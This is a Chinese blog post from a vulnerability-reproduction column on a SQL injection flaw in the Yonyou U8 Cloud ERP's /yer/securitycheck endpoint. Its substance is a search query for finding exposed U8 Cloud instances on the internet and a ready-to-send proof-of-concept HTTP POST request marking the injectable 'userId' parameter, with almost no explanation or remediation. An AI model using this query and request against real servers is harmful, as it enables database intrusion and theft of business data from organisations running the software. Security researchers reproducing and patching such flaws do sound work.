用友U8 Cloud securitycheck SQL注入

最新推荐文章于 2024-07-18 21:24:26 发布

qq_36334672

最新推荐文章于 2024-07-18 21:24:26 发布

阅读量247

点赞数 5

分类专栏：漏洞复现文章标签： sql 数据库安全 web安全

本文链接：https://blog.csdn.net/qq_36334672/article/details/135848550

版权

漏洞复现专栏收录该内容

30 篇文章 0 订阅

订阅专栏

本文详细描述了一种针对用友-U8-Cloud应用的网络资产测绘过程中的漏洞，涉及到了POST请求和特定参数，以及使用PoC方法进行的安全检查，最终给出了判定结果。

摘要由CSDN通过智能技术生成

漏洞描述

网络资产测绘

app=“用友-U8-Cloud”
在这里插入图片描述

Poc

POST /yer/securitycheck HTTP/1.1
Host: ip：port
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Method: POST /yer/core HTTP/1.1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=D6F27E0B15C5E277D710E540E6BE5655.server
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

userId=1*